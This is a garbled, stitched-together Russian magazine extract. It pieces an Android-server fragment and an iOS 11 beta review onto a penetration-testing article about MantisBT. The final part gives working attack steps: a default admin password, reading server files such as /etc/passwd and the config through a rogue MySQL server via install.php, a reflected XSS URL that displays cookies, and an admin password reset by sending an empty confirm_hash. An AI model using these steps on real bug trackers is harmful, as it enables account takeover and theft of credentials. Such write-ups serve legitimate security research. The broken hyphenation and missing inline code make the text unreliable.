За пус тить сер вер внут ри Android не толь ко прос то, но и полез но. Как показы‐ 
вает  прак тика,  мощ ности  смар тфо на  и  ско рос ти  чте ния/записи  дан ных  SD‐
кар ты более чем дос таточ но, что бы раз давать филь мы в Full HD по локаль ной
сети  и  хос тить  домаш нюю  стра нич ку.  Одна ко  советую  триж ды  подумать,
преж де  чем  выс тавлять  такой  сер вер  в  интернет:  пред ска зать,  какие  дыры
могут скры вать ся внут ри все го это го соф та, ник то не в сос тоянии.

mailto:zobnin@glc.ru
https://www.lineageos.org/
http://opengapps.org/
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В один надца той вер сии опе раци онка iPhone и iPad получи ла
мно го  цен ных фич,  сре ди  которых  как  мелочи,  так  и шту ки,
в кор не меня ющие под ход к работе с устрой ством. Если ты
не  прочь  озна комить ся  с  ними  под робнее,  но  рис ковать
и ста вить бету ты не хочешь, то эта статья — для тебя.

Вне вся кого сом нения,  уже осенью  iOS 11 будет  уста нов лена на мил лионах
устрой ств, поэто му так важ но понять, с чем же мы име ем дело, мас штаб ный
ли это апдейт или «дежур ные» доработ ки.

Вни манию читате ля
Сей час в Сети мож но най ти ссыл ки на ска чива ние про филей для бес про вод‐ 
ной  уста нов ки  про шив ки. Мы  про тес тирова ли  нес коль ко  сем плов,  в  каж дом
слу чае  пос ле  перезаг рузки  и  про вер ки  обновле ния  дей стви тель но  выдава‐ 
лось сооб щение о воз можнос ти обновле ния до  iOS 11, но при попыт ке ска‐ 
чать  появ лялось  сооб щение  об  ошиб ке.  До  выхода  пуб личной  бета‐вер сии
спо соб  уста нов ки  через  iTunes  оста ется  единс твен ным  надеж ным  методом
про шив ки.

ЧЕГО МЫ ЖДАЛИ И ЧЕГО ДОЖДАЛИСЬ
На самом деле о воз можных инно ваци ях в iOS было извес тно не так мно го —
вни мание СМИ уже с прош лого года пог лотил готовя щий ся к выпус ку  iPhone
8.  Логич но  было ждать  уве личе ние  воз можнос тей  стан дар тных  при ложе ний,
неболь шие  доработ ки  внеш него  вида  про шив ки,  «тем ную  тему»,  которую
наде ялись уви деть еще в iOS 10, повыше ние про изво дитель нос ти и авто ном‐ 
ности,  откры тие  новых  опций  для  сто рон них  раз работ чиков.  Уже  за  день
до  WWDC  в  App  Store  появи лась  пус тая  стра ница  при ложе ния  Files.  Наде‐ 
ялись  и  на  инно вации  для  iPad  Pro,  свя зан ные  с  его  прод вижени ем  Apple
в качес тве пол ноцен ной замены ПК.

Дру гим воп росом были под держи ваемые устрой ства. К выходу бета‐вер‐ 
сии сло жилось мне ние, что iOS 11 вый дет лишь для 64‐бит ных девай сов.

Пред ска зания были вер ны. Обно вил ся App Store, замет ки, кален дарь, Siri,
появи лись  новые  API,  уве личи лось  быс тро дей ствие,  в  который  раз  перера‐ 
бота на панель мно гоза дач ности и «пункт управле ния». Тем ная тема не реали‐ 
зова на,  одна ко  на  ее  ско рое  появ ление  ука зыва ет  изме нив ший ся  режим
инверти рова ния  цве тов.  Осо бое  вни мание  было  уде лено  iPad  Pro,  новым
опци ям для сти луса, док‐панели и мно гоокон ности в целом. Казалось, новов‐ 
ведений  не  так  мно го  (осо бен но  для  поль зовате лей  iPhone),  одна ко  пос ле
выхода пер вой бета‐вер сии поль зовате ли уви дели, что, кро ме этих, основных
изме нений,  были  сде ланы  сот ни  дру гих,  каж дое  из  которых  по  отдель нос ти
малоз начитель но, но вмес те они сущес твен но рас ширили фун кци ональ ность
плат формы.

УСТАНОВКА
iOS  11  под держи вает  все  64‐бит ные  устрой ства.  Единс твен ный  спо соб
для нераз работ чика уста новить про шив ку — через iTunes. Необ ходимо най ти
соот ветс тву ющий  кон крет ному  устрой ству  файл,  ска чать  его,  под соеди нить
аппа рат к компь юте ру, пос тавить про шив ку через меню в «яблочном» меди‐ 
аком бай не. Уста нов ка путем вос ста нов ления, с уда лени ем всех дан ных, тра‐ 
дици онно счи тает ся более надеж ной, но и опция «Обно вить»  тоже при сутс‐ 
тву ет.

Пре дос торож ность  с  соз дани ем  резер вной  копии  на  этот  раз  ока залась
как нель зя  кста ти:  устрой ство поп росту завис ло на прось бе подож дать нес‐ 
коль ко  минут,  пока  закон чится  нас трой ка  аппа рата.  Через  час  ожи дания
iPhone был перезаг ружен, пос ле чего начались неверо ятные тор моза, и аппа‐ 
рат  приш лось  вос ста новить  через  DFU.  Со  вто рой  попыт ки  уста нов ка  iOS
11 прош ла успешно.

Про цесс акти вации прак тичес ки не изме нил ся. Появи лись «Экс пресс‐нас‐ 
трой ки»,  здесь  соб раны  нес коль ко  опций,  ранее  находив шихся  на  раз ных
экра нах. Появи лась воз можность про пус тить опре делен ные шаги нас трой ки
и  закон чить  кон фигура цию  сис темы  поз же,  через  при ложе ние  «Нас трой ки».
В осталь ном про цеду ра акти вации оста лась преж ней.

Экс пресс‐нас трой ки

ДИЗАЙН
В каж дой вер сии ОС Apple изме няет свой фир менный дизайн, пусть ненам‐ 
ного, но неп ремен но. iOS 11 не ста ла исклю чени ем. Мно гие фир менные при‐ 
ложе ния  получи ли  офор мле ние  в  сти ле  при ложе ний  «Музыка»  и  «Новос ти»
из iOS 10 с круп ными заголов ками (пря мо как в Windows Phone) и более жир‐ 
ными над писями. Тон кие шриф ты были визит ной кар точкой  iOS 7 и минима‐ 
лис тично го  дизай на  в  целом,  одна ко  сей час  ком пания  уси лен но  отхо дит
от них. Заголов ки звон ков, заметок и сооб щений ста ли замет но тол ще. С дру‐ 
гой  сто роны,  «Часы»,  «Дик тофон»,  «Кар ты»,  «Safari»,  «Погода»  и  некото рые
дру гие не пре тер пели изме нений.

Раз личие «ста рого» и «нового» дизай на

На панели мно гоза дач ности теперь нет домаш него экра на — его пред лага‐ 
ется вызывать кноп кой «Домой». Так и не добав лена опция для зак рытия всех
при ложе ний, которую ожи дали в новой сис теме.

В  чет вертый  раз  перера ботан  дизайн  пун кта  управле ния.  Теперь  это  не
нес коль ко панелей, а еди ный блок с плит ками,  вновь напоми нающий о  тво‐ 
рении Microsoft. Каж дую плит ку мож но рас крыть, здесь есть нес коль ко допол‐ 
нитель ных  опций.  Да,  наконец‐то  добави ли  отклю чение  сотовой  свя зи,
а  глав ное —  кас томиза цию,  прав да  лишь  час тичную,  самой ниж ней панели.
Вызов  допол нитель ных  опций  дела ется  через  3D  Touch,  на  ста рых  моделях
исполь зует ся  дол гое  касание.  Во  вто рой  бета‐вер сии  воз вра щена  опция
бло киров ки вызова Control Center в прог раммах.

Но вый пункт управле ния

Notification Center теперь прак тичес ки копиру ет экран бло киров ки: тут и вре‐ 
мя,  и  дата,  и  камера  спра ва,  и  вид жеты  сле ва.  Сма хива нием  вверх  откры‐ 
вают ся сами уве дом ления.

Центр уве дом лений и баг с ори ента цией экра на

По яви лась новая опция для съем ки скрин шотов, теперь их мож но сра зу отре‐ 
дак тировать,  нарисо вать  стрел ки,  впи сать  текст  или  вста вить фор му.  Пос ле
съем ки появ ляет ся неболь шое окош ко в углу экра на, рас крыв которое мож но
най ти все эти опции. Прав да, не обош лось без багов: пос ле работы с тек стом
вер нуть ся к основной панели воз можнос ти нет. Мож но сра зу уда лить неполу‐ 
чив ший ся  скрин шот.  К  сожале нию,  дан ная  надс трой ка  сущес твен но  замед‐ 
лила соз дание скри нов.

Ре дак тирова ние скрин шотов

Осо бое вни мание на WWDC было уде лено App Store, который не обновлял ся
уже  нес коль ко  лет.  Струк тура  при ложе ния  пол ностью  перес тро ена.  Появи‐ 
лась  вклад ка  «Сегод ня»,  где  отоб ража ются  рекомен дован ные  прог раммы,
отдель но  вынесе ны  раз нооб разные  топы  прог рамм  и  игр,  есть  вклад ка
обновле ний и поис ка. Покуп ки мож но уви деть в меню про филя, нажав на зна‐ 
чок  в  пра вом  вер хнем  углу.  Стра ницы  при ложе ний  так же  перес тро ены,  что
дает  воз можность  раз работ чикам  луч ше  про рек ламиро вать  свой  про дукт
(конеч но, льви ная их доля еще не реали зова ла воз можнос ти нового дизай на).
Три  вклад ки  теперь  объ еди нены  в  одну:  здесь  и  рей тинг,  и  отзы вы,
и  рекомен дации,  и  опи сание  прог раммы.  Появи лись  статьи  о  при ложе ниях
с под сказ ками по их исполь зованию, поиск стал более гиб ким, каж дый день
выбира ется при ложе ние дня, которое появ ляет ся на глав ной стра нице. Пока
непонят но,  при живет ся  ли  новый  дизайн,  —  для  Apple  свой ствен ны  экспе‐ 
римен ты и дол гий поиск опти маль ных решений.

Но вый App Store

Бы ло сде лано еще нес коль ко неболь ших изме нений. Кноп ки в  каль кулято ре
ста ли круг лыми, слег ка поменя лась стан дар тная зво нил ка, модифи циро вана
ани мация при откры тии при ложе ний,  поля поис ка  в  «Нас трой ках» и  «Поч те»
зачем‐то  уве личи ли  в  раз мерах.  Изме нена  фор ма  поля  поис ка  Safari,  поля
вво да пароля и мно го чего дру гого.

Каль кулятор и поле поис ка App Store

Ко неч но, для iPad изме нений куда боль ше. Это и фун кци ональ ная док‐панель
с боль шим  чис лом при ложе ний  в  ней,  и  новый мно гоокон ный режим с  воз‐ 
можностью соз давать и сох ранять «прос транс тва» по два при ложе ния в каж‐ 
дом с перетас кивани ем объ ектов меж ду ними.

В  общем,  часть  изме нений  (пункт  управле ния,  панель  соз дания  скрин‐ 
шотов) кажут ся полез ными, дру гая часть (жир ные шриф ты, новый центр уве‐ 
дом лений) лишены прак тичес кого смыс ла, но все они тре буют сущес твен ной
доработ ки в ходе бета‐тес тирова ния.

Продолжение статьи →
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ФУНКЦИОНАЛЬНОСТЬ
Об новле ния  интерфей са  про исхо дят  в  каж дой  вер сии  iOS,  но  для  поль‐ 
зовате ля  важ ны  в  пер вую  оче редь  доработ ки  фун кци ональ нос ти.  И  здесь
один надца той вер сии ОС тоже есть чем пох вастать ся.

Од ним  из  глав ных  новов ведений  ста ло  при ложе ние  Files.  Сог ласно
филосо фии Apple, раз работан ной еще при Сти ве Джоб се, каж дый файл свя‐ 
зан с при ложе нием для его прос мотра и редак тирова ния. Глав ная проб лема
такого  под хода  —  слож ность  обра бот ки  фай ла  в  нес коль ких  прог раммах
одновре мен но. Час тично проб лема была решена еще в  iOS 9, ког да некото‐ 
рые фай лы ста ли дос тупны для нес коль ких при ложе ний. Появ ление собс твен‐ 
ного  фай лового  менед жера  озна мено вало  окон чатель ный  отход  Apple
от изна чаль ной кон цепции.

Нет,  откры тия  фай ловой  сис темы  не  сос тоялось.  Files  —  это,  ско рее,
буфер обме на меж ду все ми прог рамма ми, куда мож но заг рузить фай лы пос‐ 
ле ска чива ния из Сети или для обра бот ки из раз ных мест.

Но вое при ложе ние Files

При ложе ние  сос тоит  из  двух  вкла док.  «Недав ние»  —  все  фай лы,  откры тые
в течение пос ледних дней, «Обзор» — все фай лы, сгруп пирован ные по пап‐ 
кам‐раз делам.  Здесь  будут  отоб ражать ся  все  исполь зуемые  облачные  хра‐ 
нили ща  (по  умол чанию  есть  iCloud  Drive),  недав но  уда лен ные  фай лы  и  те,
которые были заг ружены на iPhone.

При ложе ние  уме ет  читать  некото рые  фор маты  фай лов  (нап ример,  TXT
и  HTML),  разар хивиро вать  ZIP‐фай лы  и  мно гое  дру гое.  Ска чан ные  фай лы
нель зя сох ранить в пап ку «На iPhone», если отсутс тву ет прог рамма для их чте‐ 
ния,  хотя это было бы удоб но. К при меру, если  тек сто вый файл содер жится
в  архи ве, мы не можем открыть  его  в Pages,  нам при дет ся  рас паковать  его
в Files, но перед этим сох ранить в iCloud Drive и лишь отту да перенес ти в тек‐ 
сто вый редак тор. Во  вто рой бета‐вер сии появил ся новый баг:  все  заг ружа‐ 
емые фай лы с чита емым фор матом не откры вают ся, вмес то это го появ ляет ся
чер ный экран.

Еще одно важ ное новов ведение iOS 11 — фун кция записи видео с экра на,
ранее офи циаль но дос тупная лишь с исполь зовани ем спе циали зиро ван ного
соф та  для  ПК.  Для  акти вации  этой  фун кции  необ ходимо  перей ти  в  меню
редак тирова ния пун кта управле ния и выб рать соот ветс тву ющую кноп ку.

За пись видео с экра на

Siri теперь не толь ко голосо вой помощ ник, но и перевод чик. Пока под держи‐ 
вают ся  толь ко шесть  язы ков,  и рус ский не  вхо дит  в  их  чис ло.  Тем не менее
воз можнос ти перево да будут рас ширят ся с даль нейши ми обновле ниями сис‐ 
темы. Теперь мож но набирать коман ды тек стом (ранее была воз можна лишь
их  кор рекция),  в  панели  Spotlight  при  поис ке  есть  рекомен дации  Siri.  Раз‐ 
работ чики  сде лали  голос Siri  более  естес твен ным,  так,  на  пре зен тации был
показан при мер, ког да одна и та же фра за пять раз про изно силась с нем ного
раз ными инто наци ями.

Apple Pay в iOS 11 поз воля ет делать денеж ные перево ды через iMessage,
для  это го  необ ходимо соз дать  вир туаль ную бан ков скую  кар ту Apple. Дос туп
к сти керам во встро енном мес сен дже ре ста нет быс трее; улуч шилась син хро‐ 
низа ция сооб щений меж ду устрой ства ми.

В  «Фото»  появи лась  чет вертая  вклад ка  —  «Вос помина ния»,  где  сним ки
сгруп пирова ны  по мес там  и  рей тин гам  в  спе циаль ные  аль бомы.  Появи лась
опция выбора заг лавно го кад ра Live Photos, так же мож но зацик лить обры вок
или  соз дать  эффект  дол гой  выдер жки.  Воз можно,  кому‐то  при годит ся  под‐ 
дер жка GIF‐ани мации.

«Камера» обза велась новыми филь тра ми и новым видом их отоб ражения.
К  сожале нию,  ско рость  работы  прог раммы  на  ста рых  смар тфо нах  (том  же
iPhone  5S)  оставля ет  желать  луч шего,  в  отдель ных  слу чаях  задер жка  сос‐ 
тавля ет две‐три секун ды, чего рань ше никог да не было на мобиль ных устрой‐ 
ствах Apple.

Ка мера и фото

В замет ках теперь есть воз можность ска ниро вать докумен ты. Конеч но, качес‐ 
тво  сним ка  силь но  зависит  от  кон крет ной  камеры  в  устрой стве,  одна ко
на  iPhone  5S  качес тво  ска на  удов летво ритель ное,  а  филь тры  от  Apple  дей‐ 
стви тель но  в  разы  уве личи вают  читабель ность  получен ного  тек ста.  Что бы
начать ска ниро вание, необ ходимо соз дать замет ку или перей ти в сущес тву‐ 
ющую и нажать кноп ку +, затем «Ска ниро вать документ». Кро ме того, мож но
соз давать пол ноцен ные таб лицы.

Ска ниро вание в «Замет ках»

Ре жим «Не бес поко ить» появил ся в  iOS 11 в спе циаль ной «авто мобиль ной»
вер сии  (работос пособен  толь ко  с  iOS  11  beta  2).  Аппа рат  авто мати чес ки
опре делит, ког да поль зователь ока жет ся за рулем, и заб локиру ет получе ние
уве дом лений.

Не боль шие  доработ ки  фун кци ональ нос ти  встре чают ся  по  всей  сис теме.
Перера бота ны  «Под касты»,  улуч шены  «Кар ты»,  раз нооб разные  фун кции
добав лены и для Apple Pencil.

«Под касты» и «Кар ты»

В iOS 11 появи лась опция одновре мен ного переме щения нес коль ких ико нок.
Для  это го  надо  вой ти  в  режим  редак тирова ния  рабоче го  сто ла,  начать
перетас кивать одну икон ку и кос нуть ся дру гих, которые необ ходимо перенес‐ 
ти.

Ин терес ная  и  полез ная  опция  (осо бен но  для  вла дель цев  устрой ств
с  16  Гбайт  памяти)  —  авто мати чес кое  уда ление  при ложе ний,  которые
не исполь зовались дол гое вре мя. Для акти вации это го режима необ ходимо
перей ти  в  «Нас трой ки»,  затем  в  «Основные»  и  «Хра нили ще  iPhone».  Поль‐ 
зователь ские фай лы при уда лении не пос тра дают, а вос ста новить прог рамму
мож но, клик нув по ее знач ку на рабочем сто ле.

ВОЗМОЖНОСТИ ДЛЯ РАЗРАБОТЧИКОВ
На иболь шее  вни мание  из  пред став ленных  для  раз работ чиков  фун кций
получи ла сис тема допол ненной реаль нос ти. На WWDC про демонс три рова ли
воз можнос ти  этой  сис темы.  Мно жес тво  вир туаль ных  объ ектов  вза имо дей‐ 
ство вали друг с дру гом и с реаль ной повер хностью, соз давая иллю зию,  что
все  про исхо дит  на  самом  деле.  Под дер жка  AR  уже  появи лась  в  Xcode  9,
а  бук валь но  на  днях  Apple  откры ла  сайт  ,  на  котором
мож но озна комить ся с пер выми наб роска ми при ложе ний.
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Не менее важ ное новов ведение — Core ML, фрей мворк для работы с ней‐ 
росетя ми. Мно гие при ложе ния уже исполь зуют ней росети, но всег да полага‐ 
ются в этом на уда лен ные сер веры, Core ML поз воля ет запус тить ней росеть
пря мо на  устрой стве,  тем самым защитив  поль зователь ские дан ные от  уте‐ 
чек.

Раз работ чики получи ли боль ше воз можнос тей для интегра ции эле мен тов
Siri  и  Apple Music  в  сво их  решени ях.  Тех нология  AirPlay  2  поз волит  незави‐ 
симо  управлять  источни ками  зву ка  по  все му  дому.  У  раз работ чиков  появи‐ 
лась  воз можность  встро ить  под дер жку  перетас кивания  объ ектов  из  одно го
окна  в  дру гое  на  iPad,  а  так же  интегри ровать  свои  при ложе ния  с  Files
для отоб ражения всех докумен тов в одном мес те.

БЫСТРОДЕЙСТВИЕ И СТАБИЛЬНОСТЬ
К сожале нию, нес мотря на оби лие новых фун кций, под час и очень полез ных,
сис тема  сей час  край не  нес табиль на.  Ско рость  откры тия  прог рамм  и  даже
отдель ных  меню  зна читель но  сни зилась.  Осо бого  вни мания  зас лужива ют
баги с изме нени ем ори ента ции на домаш нем экра не и с задер жкой съем ки
в «Камере». Во вре мя звон ка отве тить под час ста новит ся невоз можно — пол‐ 
зунок находит ся за кра ем экра на. Дос туп к циф ровой кла виату ре так же заб‐ 
локиро ван (этот баг был исправ лен во вто рой бета‐вер сии).

Смар тфон  ощу тимо  наг рева ется  во  вре мя  исполь зования,  но  это  никак
не  вли яет  на  про изво дитель ность.  Авто ном ность  девай са  прак тичес ки
не изме нилась, хоть и была заяв лена опти миза ция энер гопот ребле ния.

Проб лема  дру гого  рода  —  тоталь ная  нелока лизо ван ность  интерфей са.
Неудач ные  перево ды  вро де  «Отказ  от  ска ниро ван ного  изоб ражения»,  рус‐ 
ский текст впе ремеш ку с англий ским — все это есть в iOS 11. Новые эле мен ты
интерфей са  тоже  не  всег да  опти мизи рова ны,  некото рые  над писи  налеза ют
друг на дру га, сме щены вверх или вниз.

«Сырая» локали зация

К  сожале нию,  ОС  явно  тща тель но  не  тес тирова лась  на  ста рых  моделях
устрой ств, что вызыва ет край нюю нес табиль ность работы. На дан ный момент
нет смыс ла обновлять ся — сис тема еще очень сырая.

Впол не  веро ятно,  на  iPhone  5S  сис тема  будет  работать  так  же,  как  iOS
7  на  iPhone  4,  —  с  глю ками  и  тор мозами.  Поэто му  не  рекомен дуем  сра зу
обновлять ся на «один надцат ку», даже пос ле офи циаль ного релиза, тем более
что пути назад уже не будет.

ЗАКЛЮЧЕНИЕ
iOS 11 прив несла боль ше, чем от нее жда ли. Да, мы не уви дели тем ную тему
офор мле ния и ана лог Automator, зато зна читель но рас ширились воз можнос‐ 
ти как для поль зовате лей, так и для раз работ чиков. Конеч но, быс тро дей ствие
пока оставля ет желать луч шего, но это все же бета‐вер сия. Наде емся, Apple
испра вит  все  проб лемы,  выяв ленные  во  вре мя  тес тирова ния,  и  к  осе ни мы
получим инно ваци онную, быс трую и ста биль ную опе раци онную сис тему.

http://www.madewitharkit.com/
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ВЗЛОМ

Ты  и  без  меня  навер няка  зна ешь,  сколь ко  полез ной
информа ции  мож но  извлечь  из  тре кера:  от  деталей  внут‐ 
ренне го устрой ства инфраструк туры до исходных кодов при‐ 
ложе ний. Поэто му заполу чить дос туп к  такой вещи, как баг‐ 
тре кер,  в  тес тах на про ник новение быва ет  край не полез но.
Сегод ня  я  рас ска жу  о  двух  уяз вимос тях  в  популяр ном  баг‐ 
тре кере Mantis.

Ко неч но,  до  количес тва  инстал ляций  Jira  «Богомо лу»  далеко,  но  в  рам ках
иссле дова ния ско упа мне неред ко попадал ся этот про дукт.

По луче ние  при виле гий  адми нис тра тора  работа ет  на  вер сиях  при ложе‐ 
ния 2.3.0 и ниже, а так же ниже 1.3.0. Нес мотря на то что обновле ния выходят
с  завид ной  регуляр ностью,  на  прос торах  интерне та  все  еще  огромное
количес тво сер веров, на которых уста нов лены уяз вимые вет ки дис три бути ва.
Это му спо собс тву ют как отсутс твие механиз ма авто мати чес кого обновле ния
до  акту аль ной  вер сии  (или  хотя  бы  информа ция  о  ее  наличии),  так  и  лень
адми нис тра торов — куда уж без нее. :)

Чте ние локаль ных фай лов, кста ти, работа ет на всех вер сиях вплоть до пос‐ 
ледней (2.5.1). Ведь это не баг, это фича.

ТЕСТОВЫЙ СТЕНД
Mantis  написан  на  PHP  и  работа ет  со  все ми  основны ми СУБД  (MySQL, Mi‐
crosoft SQL, PostgreSQL и так далее), так что раз вернуть тес товый стенд будет
нес ложно. На вся кий слу чай все же про бегусь по основным пун ктам.

Что бы не замора чивать ся с гро моз дки ми вир туал ками, исполь зуем Dock‐
er. На колен ке я накидал докер‐файл для быс тро го бил да, который ты можешь
ска чать  . В кон соли перехо дим в пап ку со ска чан ным фай лом и выпол‐ 
няем

здесь

docker build ‐t mantis .

Ис поль зуя  перемен ные  ,    и  ,  мож но
изме нить  имя  поль зовате ля  MySQL,  его  пароль  и  имя  вир туаль ного  хос та,
по которо му будет дос тупен наш стенд. Теперь запус каем сам кон тей нер:

MYSQL_USER MYSQL_PASS HOST_DOMAIN

docker run ‐dp 80:80 ‐‐name=mantisvh ‐‐hostname=mantisvh mantis

Да лее  в  хост‐фай ле  мож но  ука зать  соот ветс твие  IP‐адре са  докер‐машины
с вир туаль ным хос том, который мож но было менять при бил де. По умол чанию
у меня про писа но  , поэто му файл при нима ет такой вид:mantis.visualhack

192.168.99.100 mantis.visualhack

Те перь самое вре мя перей ти по адре су   и про‐ 
верить работос пособ ность стен да.

http://mantis.visualhack

Стенд работа ет. Прис тупа ем к уста нов ке

Ес ли все сде лано пра виль но,  то мы  уви дим стра ницу  уста нов ки баг тре кера.
Прой дем этот про цесс до кон ца — логин и пароль базы дан ных можешь най‐ 
ти в докер‐фай ле.

ДЕФОЛТНЫЕ ПАРОЛИ
Итак, мы разоб рались с мелоча ми, перехо дим к самому инте рес ному — раз‐ 
бору уяз вимос ти. Пос ле успешной уста нов ки ты попада ешь на стра ницу авто‐ 
риза ции.

Фор ма авто риза ции сра зу пос ле уста нов ки

Об рати  вни мание  на  над пись  вни зу фор мы. Пос ле  уста нов ки  поль зовате лю
 по умол чанию будет наз начен пароль  .administrator root

/admin/schema.php

419: $g_upgrade[51] = array( 'InsertData', array( db_get_table( 
'user' ), "(
420:        username, realname, email, password,
421:        date_created, last_visit, enabled, protected, access
_level,
422:        login_count, lost_password_request_count, failed_login_co
unt,
423:        cookie_string
424:    )
425:    VALUES (
426:        'administrator', '', 'root@localhost', '63a9f0ea7bb9805
0796b649e85481845',
427:        $t_timestamp, $t_timestamp, '1', '0', 90,

Мне  не  сов сем  понят на  логика  такого  поведе ния.  Почему  бы  не  дать  поль‐ 
зовате лю воз можность самому ука зывать пароль или генери ровать его авто‐ 
мати чес ки  и  отправ лять  по  поч те?  Но  раз работ чики  решили  по‐дру гому,
и  если  ты  встре тишь  эту  над пись,  то  счи тай,  что  админ ский  дос туп  у  тебя
в кар мане.

ЧТЕНИЕ ФАЙЛОВ
Пос ле того как уста нов ка успешно завер шена, уста новоч ные фай лы оста ются
в сис теме и баг тре кер не выда ет никаких пре дуп режде ний о том, что их нуж но
уда лить или зак рыть к ним дос туп. Исходнич ки, нас тало ваше вре мя.

/admin/install.php

86: # install_state
87: #   0 = no checks done
88: #   1 = server ok, get database information
89: #   2 = check the database information
90: #   3 = install the database
...
95: $t_install_state = gpc_get_int( 'install', 0 );

Пе ремен ная    отве чает  за  текущий  шаг  уста нов ки.  Она
берет ся  из  зап роса  к  сер веру  из  парамет ра  .  Поэто му  мы  можем
сво бод но перехо дить на раз личные эта пы уста нов ки и выпол нять их.

$t_install_state
install

/core/gpc_api.php

124: function gpc_get_int( $p_var_name, $p_default = null ) {
125:    # Don't pass along a default unless one was given to us
...
128:    $t_result = call_user_func_array( 'gpc_get', $t_args );

/core/gpc_api.php

58: function gpc_get( $p_var_name, $p_default = null ) {
59:     if( isset( $_POST[$p_var_name] ) ) {
60:         $t_result = $_POST[$p_var_name];
61:     } else if( isset( $_GET[$p_var_name] ) ) {
62:         $t_result = $_GET[$p_var_name];
63:     } else if( func_num_args() > 1 ) {
64:         # check for a default passed in (allowing null)
65:         $t_result = $p_default;
66:     } else {
67:         error_parameters( $p_var_name );
68:         trigger_error( ERROR_GPC_VAR_NOT_FOUND, ERROR );
69:         $t_result = null;
70:     }
71:
72:     return $t_result;
73: }

Сей час нас инте ресу ют шаги 1, 2 и 3. Скрипт про веря ет кор рек тность вве ден‐ 
ных логина и пароля, выпол няя тес товое под клю чение к базе дан ных.

/admin/install.php

254:    $g_db = ADONewConnection( $f_db_type );
255:    $t_result = @$g_db‐>Connect( $f_hostname, $f_db_username, $
f_db_password, $f_database_name );

Об рати вни мание на перемен ную  . Она так же берет ся из HTTP‐
зап роса, точ нее — из парамет ра  . Это поз воля ет зас тавить скрипт
под клю чить ся к нашему сер веру.

$f_hostname
hostname

/admin/install.php

200:    $f_hostname           = gpc_get( 'hostname', config_get( 
'hostname', 'localhost' ) );

Это  зна чит,  что  пора  рас чехлять  .  Прош ло  уже  боль ше
года с тех пор, как я   об этой тех нике экс плу ата ции, и поч ти четыре года
пос ле ее пер вого появ ления в паб лике. Одна ко воз и ныне там. Похоже, так
ник то и не собира ется это фик сить.

Rogue MySQL  Server
пи сал

Итак,  нам  нуж но  про читать  что‐нибудь  инте рес ное  с  сер вера.  Нач нем
с канонич ного  ./etc/passwd

За пус каем Rogue MySQL  .• php roguemysql.php

Ука зыва ем  путь  до  фай ла,  который  хотим  про читать.  По  умол чанию  мы
и чита ем  .

•
/etc/passwd

Де ло  за  «Ман тисом».  Для  отправ ки  зап роса  мож но  исполь зовать  и  GET,
и POST, я пред почитаю POST, так как он мень ше сле дит в логах.

•

Чи тал ка фай лов через MySQL в дей ствии

Passwd  —  это,  конеч но,  хорошо,  но  нам  нуж но  что‐нибудь  поин терес нее.
Как  нас чет  кон фига  того  же  баг тре кера?  Он  находит ся  в  дирек тории 

.
MAN‐

TIS_ROOT/config/config_inc.php
В  нашем  слу чае  мы  можем  вос поль зовать ся  трю ком  с 

для того, что бы попасть в дирек торию с фай лом  . Это воз можно
бла года ря  тому,  что  скрипт  выпол няет ся  в  кон тек сте  веб‐сер вера.  Поэто му
путь    при ведет  нас  пря миком
к кон фигу.

/proc/self/cwd
install.php

/proc/self/cwd/../config/config_inc.php

Чи тал ка кон фига Mantis через MySQL

К  сожале нию,  этот  трюк  про каты вает  далеко  не  всег да.  Зато  непода леку
заваля лась пароч ка отра жен ных XSS.

Пе ремен ные  ,    и  тому  подоб ные
выводят ся  на  стра ницу,  получа ются  из  поль зователь ских  дан ных  и  никак
не филь тру ются. Поэто му переход по лин ку 

  с  удо воль стви ем  покажет  наши
куки. :)

$f_db_username $f_database_name

http://mantisnew.visualhack/
admin/install.php?install=3&hostname=127.0.0.1&db_username="><
script>alert(document.cookie);script>

XSS в скрип те уста нов ки

СБРАСЫВАЕМ ПАРОЛЬ АДМИНИСТРАТОРА
Пос ледняя  проб лема,  нес мотря  на  свою  прос тоту,  поможет  нам  зах ватить
учет ную запись адми нис тра тора. Зак люча ется она в некор рек тном срав нении
двух перемен ных. Пос мотрим на уяз вимый учас ток кода.

/verify.php

72: if( $f_confirm_hash != $t_token_confirm_hash ) {
73:     trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, 
ERROR );
74: }

В стро ке 72 про изво дит ся прос тое срав нение передан ного  токена для вос‐ 
ста нов ления пароля с тем, что находит ся в базе дан ных, и если они не сов‐ 
пада ют, то фун кция   воз вра щает ошиб ку и выпол нение скрип‐ 
та  прек раща ется.  Перемен ная    получа ется
с помощью фун кции   — обер тки для фун кции  .

trigger_error
$t_token_confirm_hash

token_get_value token_get
/verify.php

70: $t_token_confirm_hash = token_get_value( TOKEN_ACCOUNT_ACTIVATION
, $f_user_id );

/core/tokens_api.php

101: function token_get_value( $p_type, $p_user_id = null ) {
102:    $t_token = token_get( $p_type, $p_user_id );
103:
104:    if( null !== $t_token ) {
105:        return $t_token['value'];
106:    }
107:
108:    return null;
109: }

Она  дела ет  зап рос  к  таб лице    в  поис ках  передан ного
в парамет ре   токена вос ста нов ления пароля для поль зовате ля.

_tokens_table
id

/core/tokens_api.php

77: function token_get( $p_type, $p_user_id = null ) {
...
80:     $c_type = (int)$p_type;
...
84:     $t_query = 'SELECT * FROM {tokens} WHERE type=' . db_param() 
. ' AND owner=' . db_param();
85:     $t_result = db_query( $t_query, array( $c_type, $c_user_id ) 
);
86:
87:     $t_row = db_fetch_array( $t_result );
88:     if( $t_row ) {
89:         return $t_row;
90:     }
91:
92:     return null;

Ес ли  такого  токена  в  таб лице  нет,  то  фун кция  воз вра щает  .  Поэто му,
если  передать  пус тую  стро ку  в  качес тве  ,  мож но  обой ти  про‐ 
вер ку  и  про дол жить  выпол нение  скрип та.  При чина  такого  поведе ния  в  осо‐ 
бен ностях при веде ния типов в PHP. Интер пре татор PHP счи тает рав ными пус‐ 
тую стро ку ('') и сущ ность  .

NULL
confirm_hash

NULL

root@mantisvh:/var/www/html# php ‐r "var_dump('' == NULL);"
bool(true)

На стра нице   мож но най ти мно жес тво при меров
неоче вид ного  поведе ния  PHP  при  срав нении  перемен ных  раз лично го  типа.
Рекомен дую  озна комить ся,  такие  баги  встре чают ся  час то,  и  прог лядеть  их
очень лег ко.

офи циаль ной докумен тации

Итак, при перехо де по ссыл ке 
  мож но  уста новить  новый  пароль  для  поль зовате ля

с   (если он уже не находит ся в про цес се сбро са пароля). В нашем слу чае
это  .

http://mantis.visualhack/verify.php?
id=1&confirm_hash=
id=1
administrator

Сме на пароля адми нис тра тору

Ча ще  все го  акка унт  адми нис тра тора  име ет    1  или  2.  В  любом  слу чае
не сос тавит никаких проб лем его сбру тить.

id

